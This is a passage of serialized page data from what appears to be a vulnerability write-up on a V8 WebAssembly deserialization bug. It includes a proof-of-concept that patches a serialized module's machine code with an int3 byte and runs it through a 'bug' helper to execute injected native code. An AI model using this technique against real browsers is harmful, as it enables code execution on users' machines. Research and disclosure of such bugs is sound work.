},{"style":328},[131834],{"type":26,"value":44},{"type":20,"tag":315,"props":131836,"children":131837},{"style":765},[131838],{"type":26,"value":1063},{"type":20,"tag":315,"props":131840,"children":131841},{"style":328},[131842],{"type":26,"value":44},{"type":20,"tag":315,"props":131844,"children":131845},{"style":765},[131846],{"type":26,"value":1063},{"type":20,"tag":315,"props":131848,"children":131849},{"style":328},[131850],{"type":26,"value":44},{"type":20,"tag":315,"props":131852,"children":131853},{"style":765},[131854],{"type":26,"value":15698},{"type":20,"tag":315,"props":131856,"children":131857},{"style":328},[131858],{"type":26,"value":44},{"type":20,"tag":315,"props":131860,"children":131861},{"style":765},[131862],{"type":26,"value":1504},{"type":20,"tag":315,"props":131864,"children":131865},{"style":328},[131866],{"type":26,"value":44},{"type":20,"tag":315,"props":131868,"children":131869},{"style":765},[131870],{"type":26,"value":2406},{"type":20,"tag":315,"props":131872,"children":131873},{"style":328},[131874],{"type":26,"value":44},{"type":20,"tag":315,"props":131876,"children":131877},{"style":765},[131878],{"type":26,"value":1063},{"type":20,"tag":315,"props":131880,"children":131881},{"style":328},[131882],{"type":26,"value":44},{"type":20,"tag":315,"props":131884,"children":131885},{"style":765},[131886],{"type":26,"value":52923},{"type":20,"tag":315,"props":131888,"children":131889},{"style":328},[131890],{"type":26,"value":44},{"type":20,"tag":315,"props":131892,"children":131893},{"style":765},[131894],{"type":26,"value":54138},{"type":20,"tag":315,"props":131896,"children":131897},{"style":328},[131898],{"type":26,"value":44},{"type":20,"tag":315,"props":131900,"children":131901},{"style":765},[131902],{"type":26,"value":2406},{"type":20,"tag":315,"props":131904,"children":131905},{"style":328},[131906],{"type":26,"value":44},{"type":20,"tag":315,"props":131908,"children":131909},{"style":765},[131910],{"type":26,"value":16511},{"type":20,"tag":315,"props":131912,"children":131913},{"style":328},[131914],{"type":26,"value":44},{"type":20,"tag":315,"props":131916,"children":131917},{"style":765},[131918],{"type":26,"value":131756},{"type":20,"tag":315,"props":131920,"children":131921},{"style":328},[131922],{"type":26,"value":44},{"type":20,"tag":315,"props":131924,"children":131925},{"style":765},[131926],{"type":26,"value":131927},"104",{"type":20,"tag":315,"props":131929,"children":131930},{"style":328},[131931],{"type":26,"value":44},{"type":20,"tag":315,"props":131933,"children":131934},{"style":765},[131935],{"type":26,"value":131936},"101",{"type":20,"tag":315,"props":131938,"children":131939},{"style":328},[131940],{"type":26,"value":44},{"type":20,"tag":315,"props":131942,"children":131943},{"style":765},[131944],{"type":26,"value":131945},"108",{"type":20,"tag":315,"props":131947,"children":131948},{"style":328},[131949],{"type":26,"value":44},{"type":20,"tag":315,"props":131951,"children":131952},{"style":765},[131953],{"type":26,"value":131945},{"type":20,"tag":315,"props":131955,"children":131956},{"style":328},[131957],{"type":26,"value":643},{"type":20,"tag":315,"props":131959,"children":131960},{"class":317,"line":365},[131961,131965,131969,131973,131977,131981,131985,131989,131993,131997,132001,132005,132009,132013,132017,132022],{"type":20,"tag":315,"props":131962,"children":131963},{"style":765},[131964],{"type":26,"value":131738},{"type":20,"tag":315,"props":131966,"children":131967},{"style":328},[131968],{"type":26,"value":44},{"type":20,"tag":315,"props":131970,"children":131971},{"style":765},[131972],{"type":26,"value":1063},{"type":20,"tag":315,"props":131974,"children":131975},{"style":328},[131976],{"type":26,"value":44},{"type":20,"tag":315,"props":131978,"children":131979},{"style":765},[131980],{"type":26,"value":87511},{"type":20,"tag":315,"props":131982,"children":131983},{"style":328},[131984],{"type":26,"value":44},{"type":20,"tag":315,"props":131986,"children":131987},{"style":765},[131988],{"type":26,"value":15931},{"type":20,"tag":315,"props":131990,"children":131991},{"style":328},[131992],{"type":26,"value":44},{"type":20,"tag":315,"props":131994,"children":131995},{"style":765},[131996],{"type":26,"value":2406},{"type":20,"tag":315,"props":131998,"children":131999},{"style":328},[132000],{"type":26,"value":44},{"type":20,"tag":315,"props":132002,"children":132003},{"style":765},[132004],{"type":26,"value":1504},{"type":20,"tag":315,"props":132006,"children":132007},{"style":328},[132008],{"type":26,"value":44},{"type":20,"tag":315,"props":132010,"children":132011},{"style":765},[132012],{"type":26,"value":1063},{"type":20,"tag":315,"props":132014,"children":132015},{"style":328},[132016],{"type":26,"value":44},{"type":20,"tag":315,"props":132018,"children":132019},{"style":765},[132020],{"type":26,"value":132021},"11",{"type":20,"tag":315,"props":132023,"children":132024},{"style":328},[132025],{"type":26,"value":643},{"type":20,"tag":315,"props":132027,"children":132028},{"class":317,"line":374},[132029],{"type":20,"tag":315,"props":132030,"children":132031},{"style":328},[132032],{"type":26,"value":2136},{"type":20,"tag":315,"props":132034,"children":132035},{"class":317,"line":383},[132036,132040,132044,132048,132052,132057,132061,132065,132069,132074],{"type":20,"tag":315,"props":132037,"children":132038},{"style":541},[132039],{"type":26,"value":33462},{"type":20,"tag":315,"props":132041,"children":132042},{"style":635},[132043],{"type":26,"value":69880},{"type":20,"tag":315,"props":132045,"children":132046},{"style":334},[132047],{"type":26,"value":1395},{"type":20,"tag":315,"props":132049,"children":132050},{"style":541},[132051],{"type":26,"value":30348},{"type":20,"tag":315,"props":132053,"children":132054},{"style":635},[132055],{"type":26,"value":132056}," WebAssembly",{"type":20,"tag":315,"props":132058,"children":132059},{"style":328},[132060],{"type":26,"value":61},{"type":20,"tag":315,"props":132062,"children":132063},{"style":345},[132064],{"type":26,"value":84177},{"type":20,"tag":315,"props":132066,"children":132067},{"style":328},[132068],{"type":26,"value":1049},{"type":20,"tag":315,"props":132070,"children":132071},{"style":635},[132072],{"type":26,"value":132073},"wasm_code",{"type":20,"tag":315,"props":132075,"children":132076},{"style":328},[132077],{"type":26,"value":2214},{"type":20,"tag":315,"props":132079,"children":132080},{"class":317,"line":407},[132081,132085,132090,132094,132098,132102,132106,132111,132115,132120],{"type":20,"tag":315,"props":132082,"children":132083},{"style":541},[132084],{"type":26,"value":33462},{"type":20,"tag":315,"props":132086,"children":132087},{"style":635},[132088],{"type":26,"value":132089}," inst",{"type":20,"tag":315,"props":132091,"children":132092},{"style":334},[132093],{"type":26,"value":1395},{"type":20,"tag":315,"props":132095,"children":132096},{"style":541},[132097],{"type":26,"value":30348},{"type":20,"tag":315,"props":132099,"children":132100},{"style":635},[132101],{"type":26,"value":132056},{"type":20,"tag":315,"props":132103,"children":132104},{"style":328},[132105],{"type":26,"value":61},{"type":20,"tag":315,"props":132107,"children":132108},{"style":345},[132109],{"type":26,"value":132110},"Instance",{"type":20,"tag":315,"props":132112,"children":132113},{"style":328},[132114],{"type":26,"value":1049},{"type":20,"tag":315,"props":132116,"children":132117},{"style":635},[132118],{"type":26,"value":132119},"mod",{"type":20,"tag":315,"props":132121,"children":132122},{"style":328},[132123],{"type":26,"value":2214},{"type":20,"tag":315,"props":132125,"children":132126},{"class":317,"line":421},[132127,132131,132135,132139,132143,132147,132151,132155,132160],{"type":20,"tag":315,"props":132128,"children":132129},{"style":541},[132130],{"type":26,"value":33462},{"type":20,"tag":315,"props":132132,"children":132133},{"style":635},[132134],{"type":26,"value":78267},{"type":20,"tag":315,"props":132136,"children":132137},{"style":334},[132138],{"type":26,"value":1395},{"type":20,"tag":315,"props":132140,"children":132141},{"style":635},[132142],{"type":26,"value":132089},{"type":20,"tag":315,"props":132144,"children":132145},{"style":328},[132146],{"type":26,"value":61},{"type":20,"tag":315,"props":132148,"children":132149},{"style":635},[132150],{"type":26,"value":36302},{"type":20,"tag":315,"props":132152,"children":132153},{"style":328},[132154],{"type":26,"value":61},{"type":20,"tag":315,"props":132156,"children":132157},{"style":635},[132158],{"type":26,"value":132159},"shell",{"type":20,"tag":315,"props":132161,"children":132162},{"style":328},[132163],{"type":26,"value":1405},{"type":20,"tag":315,"props":132165,"children":132166},{"class":317,"line":430},[132167],{"type":20,"tag":315,"props":132168,"children":132169},{"emptyLinePlaceholder":15},[132170],{"type":26,"value":427},{"type":20,"tag":315,"props":132172,"children":132173},{"class":317,"line":453},[132174,132178,132183,132187,132191],{"type":20,"tag":315,"props":132175,"children":132176},{"style":334},[132177],{"type":26,"value":54641},{"type":20,"tag":315,"props":132179,"children":132180},{"style":345},[132181],{"type":26,"value":132182},"WasmTierUpFunction",{"type":20,"tag":315,"props":132184,"children":132185},{"style":328},[132186],{"type":26,"value":1049},{"type":20,"tag":315,"props":132188,"children":132189},{"style":635},[132190],{"type":26,"value":74558},{"type":20,"tag":315,"props":132192,"children":132193},{"style":328},[132194],{"type":26,"value":2214},{"type":20,"tag":315,"props":132196,"children":132197},{"class":317,"line":486},[132198,132202,132207,132211,132216,132220,132224,132228],{"type":20,"tag":315,"props":132199,"children":132200},{"style":541},[132201],{"type":26,"value":33462},{"type":20,"tag":315,"props":132203,"children":132204},{"style":635},[132205],{"type":26,"value":132206}," serialized",{"type":20,"tag":315,"props":132208,"children":132209},{"style":334},[132210],{"type":26,"value":1395},{"type":20,"tag":315,"props":132212,"children":132213},{"style":334},[132214],{"type":26,"value":132215}," %",{"type":20,"tag":315,"props":132217,"children":132218},{"style":345},[132219],{"type":26,"value":131214},{"type":20,"tag":315,"props":132221,"children":132222},{"style":328},[132223],{"type":26,"value":1049},{"type":20,"tag":315,"props":132225,"children":132226},{"style":635},[132227],{"type":26,"value":132119},{"type":20,"tag":315,"props":132229,"children":132230},{"style":328},[132231],{"type":26,"value":2214},{"type":20,"tag":315,"props":132233,"children":132234},{"class":317,"line":499},[132235,132239,132243,132247,132251,132255,132259,132264],{"type":20,"tag":315,"props":132236,"children":132237},{"style":541},[132238],{"type":26,"value":10188},{"type":20,"tag":315,"props":132240,"children":132241},{"style":635},[132242],{"type":26,"value":7558},{"type":20,"tag":315,"props":132244,"children":132245},{"style":334},[132246],{"type":26,"value":1395},{"type":20,"tag":315,"props":132248,"children":132249},{"style":541},[132250],{"type":26,"value":30348},{"type":20,"tag":315,"props":132252,"children":132253},{"style":345},[132254],{"type":26,"value":131725},{"type":20,"tag":315,"props":132256,"children":132257},{"style":328},[132258],{"type":26,"value":1049},{"type":20,"tag":315,"props":132260,"children":132261},{"style":635},[132262],{"type":26,"value":132263},"serialized",{"type":20,"tag":315,"props":132265,"children":132266},{"style":328},[132267],{"type":26,"value":2214},{"type":20,"tag":315,"props":132269,"children":132270},{"class":317,"line":513},[132271,132276,132280,132284,132288,132293,132297,132301,132305,132310,132314,132319,132323,132327,132332],{"type":20,"tag":315,"props":132272,"children":132273},{"style":635},[132274],{"type":26,"value":132275},"console",{"type":20,"tag":315,"props":132277,"children":132278},{"style":328},[132279],{"type":26,"value":61},{"type":20,"tag":315,"props":132281,"children":132282},{"style":345},[132283],{"type":26,"value":100211},{"type":20,"tag":315,"props":132285,"children":132286},{"style":328},[132287],{"type":26,"value":1049},{"type":20,"tag":315,"props":132289,"children":132290},{"style":2652},[132291],{"type":26,"value":132292},"'['",{"type":20,"tag":315,"props":132294,"children":132295},{"style":334},[132296],{"type":26,"value":7301},{"type":20,"tag":315,"props":132298,"children":132299},{"style":635},[132300],{"type":26,"value":7558},{"type":20,"tag":315,"props":132302,"children":132303},{"style":328},[132304],{"type":26,"value":61},{"type":20,"tag":315,"props":132306,"children":132307},{"style":345},[132308],{"type":26,"value":132309},"join",{"type":20,"tag":315,"props":132311,"children":132312},{"style":328},[132313],{"type":26,"value":1049},{"type":20,"tag":315,"props":132315,"children":132316},{"style":2652},[132317],{"type":26,"value":132318},"', '",{"type":20,"tag":315,"props":132320,"children":132321},{"style":328},[132322],{"type":26,"value":1468},{"type":20,"tag":315,"props":132324,"children":132325},{"style":334},[132326],{"type":26,"value":817},{"type":20,"tag":315,"props":132328,"children":132329},{"style":2652},[132330],{"type":26,"value":132331}," ']'",{"type":20,"tag":315,"props":132333,"children":132334},{"style":328},[132335],{"type":26,"value":2214},{"type":20,"tag":29,"props":132337,"children":132338},{},[132339],{"type":26,"value":132340},"This produces the following output:",{"type":20,"tag":305,"props":132342,"children":132344},{"code":132343},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[132345],{"type":20,"tag":119,"props":132346,"children":132347},{"__ignoreMap":7},[132348],{"type":26,"value":132343},{"type":20,"tag":29,"props":132350,"children":132351},{},[132352,132354,132360,132362,132368,132370,132376,132377,132383,132385,132390],{"type":26,"value":132353},"The bytes ",{"type":20,"tag":119,"props":132355,"children":132357},{"className":132356},[],[132358],{"type":26,"value":132359},"85, 72, 137, 229, ...",{"type":26,"value":132361}," correspond to the x86-64 function prologue (",{"type":20,"tag":119,"props":132363,"children":132365},{"className":132364},[],[132366],{"type":26,"value":132367},"push rbp; mov rbp, rsp",{"type":26,"value":132369},"). We replace the first byte with ",{"type":20,"tag":119,"props":132371,"children":132373},{"className":132372},[],[132374],{"type":26,"value":132375},"0xcc",{"type":26,"value":14861},{"type":20,"tag":119,"props":132378,"children":132380},{"className":132379},[],[132381],{"type":26,"value":132382},"int3",{"type":26,"value":132384}," opcode), and use this modified buffer as the serialized input to ",{"type":20,"tag":119,"props":132386,"children":132388},{"className":132387},[],[132389],{"type":26,"value":131188},{"type":26,"value":2884},{"type":20,"tag":305,"props":132392,"children":132394},{"code":132393,"language":34031,"meta":7,"className":34029,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n f();\n})();\n",[132395],{"type":20,"tag":119,"props":132396,"children":132397},{"__ignoreMap":7},[132398,132421,132448,132668,132735,132743,132770,132984,133236,133487,133713,133957,134177,134184,134233,134278,134322,134361,134373],{"type":20,"tag":315,"props":132399,"children":132400},{"class":317,"line":318},[132401,132405,132409,132413,132417],{"type":20,"tag":315,"props":132402,"children":132403},{"style":328},[132404],{"type":26,"value":1049},{"type":20,"tag":315,"props":132406,"children":132407},{"style":541},[132408],{"type":26,"value":34561},{"type":20,"tag":315,"props":132410,"children":132411},{"style":328},[132412],{"type":26,"value":38113},{"type":20,"tag":315,"props":132414,"children":132415},{"style":541},[132416],{"type":26,"value":13222},{"type":20,"tag":315,"props":132418,"children":132419},{"style":328},[132420],{"type":26,"value":1092},{"type":20,"tag":315,"props":132422,"children":132423},{"class":317,"line":356},[132424,132428,132432,132436,132440,132444],{"type":20,"tag":315,"props":132425,"children":132426},{"style":541},[132427],{"type":26,"value":34604},{"type":20,"tag":315,"props":132429,"children":132430},{"style":635},[132431],{"type":26,"value":131712},{"type":20,"tag":315,"props":132433,"children":132434},{"style":334},[132435],{"type":26,"value":1395},{"type":20,"tag":315,"props":132437,"children":132438},{"style":541},[132439],{"type":26,"value":30348},{"type":20,"tag":315,"props":132441,"children":132442},{"style":345},[132443],{"type":26,"value":131725},{"type":20,"tag":315,"props":132445,"children":132446},{"style":328},[132447],{"type":26,"value":131730},{"type":20,"tag":315,"props":132449,"children":132450},{"class":317,"line":365},[132451,132456,132460,132464,132468,132472,132476,132480,132484,132488,132492,132496,132500,132504,132508,132512,132516,132520,132524,132528,132532,132536,132540,132544,132548,132552,132556,132560,132564,132568,132572,132576,132580,132584,132588,132592,132596,132600,132604,132608,132612,132616,132620,132624,132628,132632,132636,132640,132644,132648,132652,132656,132660,132664],{"type":20,"tag":315,"props":132452,"children":132453},{"style":765},[132454],{"type":26,"value":132455}," 0",{"type":20,"tag":315,"props":132457,"children":132458},{"style":328},[132459],{"type":26,"value":44},{"type":20,"tag":315,"props":132461,"children":132462},{"style":765},[132463],{"type":26,"value":131747},{"type":20,"tag":315,"props":132465,"children":132466},{"style":328},[132467],{"type":26,"value":44},{"type":20,"tag":315,"props":132469,"children":132470},{"style":765},[132471],{"type":26,"value":131756},{"type":20,"tag":315,"props":132473,"children":132474},{"style":328},[132475],{"type":26,"value":44},{"type":20,"tag":315,"props":132477,"children":132478},{"style":765},[132479],{"type":26,"value":131765},{"type":20,"tag":315,"props":132481,"children":132482},{"style":328},[132483],{"type":26,"value":44},{"type":20,"tag":315,"props":132485,"children":132486},{"style":765},[132487],{"type":26,"value":2406},{"type":20,"tag":315,"props":132489,"children":132490},{"style":328},[132491],{"type":26,"value":44},{"type":20,"tag":315,"props":132493,"children":132494},{"style":765},[132495],{"type":26,"value":1063},{"type":20,"tag":315,"props":132497,"children":132498},{"style":328},[132499],{"type":26,"value":44},{"type":20,"tag":315,"props":132501,"children":132502},{"style":765},[132503],{"type":26,"value":1063},{"type":20,"tag":315,"props":132505,"children":132506},{"style":328},[132507],{"type":26,"value":44},{"type":20,"tag":315,"props":132509,"children":132510},{"style":765},[132511],{"type":26,"value":1063},{"type":20,"tag":315,"props":132513,"children":132514},{"style":328},[132515],{"type":26,"value":44},{"type":20,"tag":315,"props":132517,"children":132518},{"style":765},[132519],{"type":26,"value":2406},{"type":20,"tag":315,"props":132521,"children":132522},{"style":328},[132523],{"type":26,"value":44},{"type":20,"tag":315,"props":132525,"children":132526},{"style":765},[132527],{"type":26,"value":15931},{"type":20,"tag":315,"props":132529,"children":132530},{"style":328},[132531],{"type":26,"value":44},{"type":20,"tag":315,"props":132533,"children":132534},{"style":765},[132535],{"type":26,"value":2406},{"type":20,"tag":315,"props":132537,"children":132538},{"style":328},[132539],{"type":26,"value":44},{"type":20,"tag":315,"props":132541,"children":132542},{"style":765},[132543],{"type":26,"value":131830},{"type":20,"tag":315,"props":132545,"children":132546},{"style":328},[132547],{"type":26,"value":44},{"type":20,"tag":315,"props":132549,"children":132550},{"style":765},[132551],{"type":26,"value":1063},{"type":20,"tag":315,"props":132553,"children":132554},{"style":328},[132555],{"type":26,"value":44},{"type":20,"tag":315,"props":132557,"children":132558},{"style":765},[132559],{"type":26,"value":1063},{"type":20,"tag":315,"props":132561,"children":132562},{"style":328},[132563],{"type":26,"value":44},{"type":20,"tag":315,"props":132565,"children":132566},{"style":765},[132567],{"type":26,"value":15698},{"type":20,"tag":315,"props":132569,"children":132570},{"style":328},[132571],{"type":26,"value":44},{"type":20,"tag":315,"props":132573,"children":132574},{"style":765},[132575],{"type":26,"value":1504},{"type":20,"tag":315,"props":132577,"children":132578},{"style":328},[132579],{"type":26,"value":44},{"type":20,"tag":315,"props":132581,"children":132582},{"style":765},[132583],{"type":26,"value":2406},{"type":20,"tag":315,"props":132585,"children":132586},{"style":328},[132587],{"type":26,"value":44},{"type":20,"tag":315,"props":132589,"children":132590},{"style":765},[132591],{"type":26,"value":1063},{"type":20,"tag":315,"props":132593,"children":132594},{"style":328},[132595],{"type":26,"value":44},{"type":20,"tag":315,"props":132597,"children":132598},{"style":765},[132599],{"type":26,"value":52923},{"type":20,"tag":315,"props":132601,"children":132602},{"style":328},[132603],{"type":26,"value":44},{"type":20,"tag":315,"props":132605,"children":132606},{"style":765},[132607],{"type":26,"value":54138},{"type":20,"tag":315,"props":132609,"children":132610},{"style":328},[132611],{"type":26,"value":44},{"type":20,"tag":315,"props":132613,"children":132614},{"style":765},[132615],{"type":26,"value":2406},{"type":20,"tag":315,"props":132617,"children":132618},{"style":328},[132619],{"type":26,"value":44},{"type":20,"tag":315,"props":132621,"children":132622},{"style":765},[132623],{"type":26,"value":16511},{"type":20,"tag":315,"props":132625,"children":132626},{"style":328},[132627],{"type":26,"value":44},{"type":20,"tag":315,"props":132629,"children":132630},{"style":765},[132631],{"type":26,"value":131756},{"type":20,"tag":315,"props":132633,"children":132634},{"style":328},[132635],{"type":26,"value":44},{"type":20,"tag":315,"props":132637,"children":132638},{"style":765},[132639],{"type":26,"value":131927},{"type":20,"tag":315,"props":132641,"children":132642},{"style":328},[132643],{"type":26,"value":44},{"type":20,"tag":315,"props":132645,"children":132646},{"style":765},[132647],{"type":26,"value":131936},{"type":20,"tag":315,"props":132649,"children":132650},{"style":328},[132651],{"type":26,"value":44},{"type":20,"tag":315,"props":132653,"children":132654},{"style":765},[132655],{"type":26,"value":131945},{"type":20,"tag":315,"props":132657,"children":132658},{"style":328},[132659],{"type":26,"value":44},{"type":20,"tag":315,"props":132661,"children":132662},{"style":765},[132663],{"type":26,"value":131945},{"type":20,"tag":315,"props":132665,"children":132666},{"style":328},[132667],{"type":26,"value":643},{"type":20,"tag":315,"props":132669,"children":132670},{"class":317,"line":374},[132671,132675,132679,132683,132687,132691,132695,132699,132703,132707,132711,132715,132719,132723,132727,132731],{"type":20,"tag":315,"props":132672,"children":132673},{"style":765},[132674],{"type":26,"value":132455},{"type":20,"tag":315,"props":132676,"children":132677},{"style":328},[132678],{"type":26,"value":44},{"type":20,"tag":315,"props":132680,"children":132681},{"style":765},[132682],{"type":26,"value":1063},{"type":20,"tag":315,"props":132684,"children":132685},{"style":328},[132686],{"type":26,"value":44},{"type":20,"tag":315,"props":132688,"children":132689},{"style":765},[132690],{"type":26,"value":87511},{"type":20,"tag":315,"props":132692,"children":132693},{"style":328},[132694],{"type":26,"value":44},{"type":20,"tag":315,"props":132696,"children":132697},{"style":765},[132698],{"type":26,"value":15931},{"type":20,"tag":315,"props":132700,"children":132701},{"style":328},[132702],{"type":26,"value":44},{"type":20,"tag":315,"props":132704,"children":132705},{"style":765},[132706],{"type":26,"value":2406},{"type":20,"tag":315,"props":132708,"children":132709},{"style":328},[132710],{"type":26,"value":44},{"type":20,"tag":315,"props":132712,"children":132713},{"style":765},[132714],{"type":26,"value":1504},{"type":20,"tag":315,"props":132716,"children":132717},{"style":328},[132718],{"type":26,"value":44},{"type":20,"tag":315,"props":132720,"children":132721},{"style":765},[132722],{"type":26,"value":1063},{"type":20,"tag":315,"props":132724,"children":132725},{"style":328},[132726],{"type":26,"value":44},{"type":20,"tag":315,"props":132728,"children":132729},{"style":765},[132730],{"type":26,"value":132021},{"type":20,"tag":315,"props":132732,"children":132733},{"style":328},[132734],{"type":26,"value":643},{"type":20,"tag":315,"props":132736,"children":132737},{"class":317,"line":383},[132738],{"type":20,"tag":315,"props":132739,"children":132740},{"style":328},[132741],{"type":26,"value":132742}," ]);\n",{"type":20,"tag":315,"props":132744,"children":132745},{"class":317,"line":407},[132746,132750,132754,132758,132762,132766],{"type":20,"tag":315,"props":132747,"children":132748},{"style":541},[132749],{"type":26,"value":34604},{"type":20,"tag":315,"props":132751,"children":132752},{"style":635},[132753],{"type":26,"value":123525},{"type":20,"tag":315,"props":132755,"children":132756},{"style":334},[132757],{"type":26,"value":1395},{"type":20,"tag":315,"props":132759,"children":132760},{"style":541},[132761],{"type":26,"value":30348},{"type":20,"tag":315,"props":132763,"children":132764},{"style":345},[132765],{"type":26,"value":131725},{"type":20,"tag":315,"props":132767,"children":132768},{"style":328},[132769],{"type":26,"value":131730},{"type":20,"tag":315,"props":132771,"children":132772},{"class":317,"line":421},[132773,132778,132782,132786,132790,132795,132799,132804,132808,132813,132817,132822,132826,132831,132835,132840,132844,132849,132853,132858,132862,132866,132870,132874,132878,132883,132887,132892,132896,132900,132904,132908,132912,132916,132920,132924,132928,132932,132936,132940,132944,132948,132952,132956,132960,132964,132968,132972,132976,132980],{"type":20,"tag":315,"props":132774,"children":132775},{"style":765},[132776],{"type":26,"value":132777}," 147",{"type":20,"tag":315,"props":132779,"children":132780},{"style":328},[132781],{"type":26,"value":44},{"type":20,"tag":315,"props":132783,"children":132784},{"style":765},[132785],{"type":26,"value":16823},{"type":20,"tag":315,"props":132787,"children":132788},{"style":328},[132789],{"type":26,"value":44},{"type":20,"tag":315,"props":132791,"children":132792},{"style":765},[132793],{"type":26,"value":132794},"222",{"type":20,"tag":315,"props":132796,"children":132797},{"style":328},[132798],{"type":26,"value":44},{"type":20,"tag":315,"props":132800,"children":132801},{"style":765},[132802],{"type":26,"value":132803},"192",{"type":20,"tag":315,"props":132805,"children":132806},{"style":328},[132807],{"type":26,"value":44},{"type":20,"tag":315,"props":132809,"children":132810},{"style":765},[132811],{"type":26,"value":132812},"20",{"type":20,"tag":315,"props":132814,"children":132815},{"style":328},[132816],{"type":26,"value":44},{"type":20,"tag":315,"props":132818,"children":132819},{"style":765},[132820],{"type":26,"value":132821},"119",{"type":20,"tag":315,"props":132823,"children":132824},{"style":328},[132825],{"type":26,"value":44},{"type":20,"tag":315,"props":132827,"children":132828},{"style":765},[132829],{"type":26,"value":132830},"44",{"type":20,"tag":315,"props":132832,"children":132833},{"style":328},[132834],{"type":26,"value":44},{"type":20,"tag":315,"props":132836,"children":132837},{"style":765},[132838],{"type":26,"value":132839},"43",{"type":20,"tag":315,"props":132841,"children":132842},{"style":328},[132843],{"type":26,"value":44},{"type":20,"tag":315,"props":132845,"children":132846},{"style":765},[132847],{"type":26,"value":132848},"127",{"type":20,"tag":315,"props":132850,"children":132851},{"style":328},[132852],{"type":26,"value":44},{"type":20,"tag":315,"props":132854,"children":132855},{"style":765},[132856],{"type":26,"value":132857},"62",{"type":20,"tag":315,"props":132859,"children":132860},{"style":328},[132861],{"type":26,"value":44},{"type":20,"tag":315,"props":132863,"children":132864},{"style":765},[132865],{"type":26,"value":15698},{"type":20,"tag":315,"props":132867,"children":132868},{"style":328},[132869],{"type":26,"value":44},{"type":20,"tag":315,"props":132871,"children":132872},{"style":765},[132873],{"type":26,"value":1063},{"type":20,"tag":315,"props":132875,"children":132876},{"style":328},[132877],{"type":26,"value":44},{"type":20,"tag":315,"props":132879,"children":132880},{"style":765},[132881],{"type":26,"value":132882},"159",{"type":20,"tag":315,"props":132884,"children":132885},{"style":328},[132886],{"type":26,"value":44},{"type":20,"tag":315,"props":132888,"children":132889},{"style":765},[132890],{"type":26,"value":132891},"206",{"type":20,"tag":315,"props":132893,"children":132894},{"style":328},[132895],{"type":26,"value":44},{"type":20,"tag":315,"props":132897,"children":132898},{"style":765},[132899],{"type":26,"value":42571},{"type":20,"tag":315,"props":132901,"children":132902},{"style":328},[132903],{"type":26,"value":44},{"type":20,"tag":315,"props":132905,"children":132906},{"style":765},[132907],{"type":26,"value":132839},{"type":20,"tag":315,"props":132909,"children":132910},{"style":328},[132911],{"type":26,"value":44},{"type":20,"tag":315,"props":132913,"children":132914},{"style":765},[132915],{"type":26,"value":1063},{"type":20,"tag":315,"props":132917,"children":132918},{"style":328},[132919],{"type":26,"value":44},{"type":20,"tag":315,"props":132921,"children":132922},{"style":765},[132923],{"type":26,"value":1063},{"type":20,"tag":315,"props":132925,"children":132926},{"style":328},[132927],{"type":26,"value":44},{"type":20,"tag":315,"props":132929,"children":132930},{"style":765},[132931],{"type":26,"value":15698},{"type":20,"tag":315,"props":132933,"children":132934},{"style":328},[132935],{"type":26,"value":44},{"type":20,"tag":315,"props":132937,"children":132938},{"style":765},[132939],{"type":26,"value":1063},{"type":20,"tag":315,"props":132941,"children":132942},{"style":328},[132943],{"type":26,"value":44},{"type":20,"tag":315,"props":132945,"children":132946},{"style":765},[132947],{"type":26,"value":1063},{"type":20,"tag":315,"props":132949,"children":132950},{"style":328},[132951],{"type":26,"value":44},{"type":20,"tag":315,"props":132953,"children":132954},{"style":765},[132955],{"type":26,"value":1063},{"type":20,"tag":315,"props":132957,"children":132958},{"style":328},[132959],{"type":26,"value":44},{"type":20,"tag":315,"props":132961,"children":132962},{"style":765},[132963],{"type":26,"value":1063},{"type":20,"tag":315,"props":132965,"children":132966},{"style":328},[132967],{"type":26,"value":44},{"type":20,"tag":315,"props":132969,"children":132970},{"style":765},[132971],{"type":26,"value":1063},{"type":20,"tag":315,"props":132973,"children":132974},{"style":328},[132975],{"type":26,"value":44},{"type":20,"tag":315,"props":132977,"children":132978},{"style":765},[132979],{"type":26,"value":27838},{"type":20,"tag":315,"props":132981,"children":132982},{"style":328},[132983],{"type":26,"value":643},{"type":20,"tag":315,"props":132985,"children":132986},{"class":317,"line":430},[132987,132991,132995,132999,1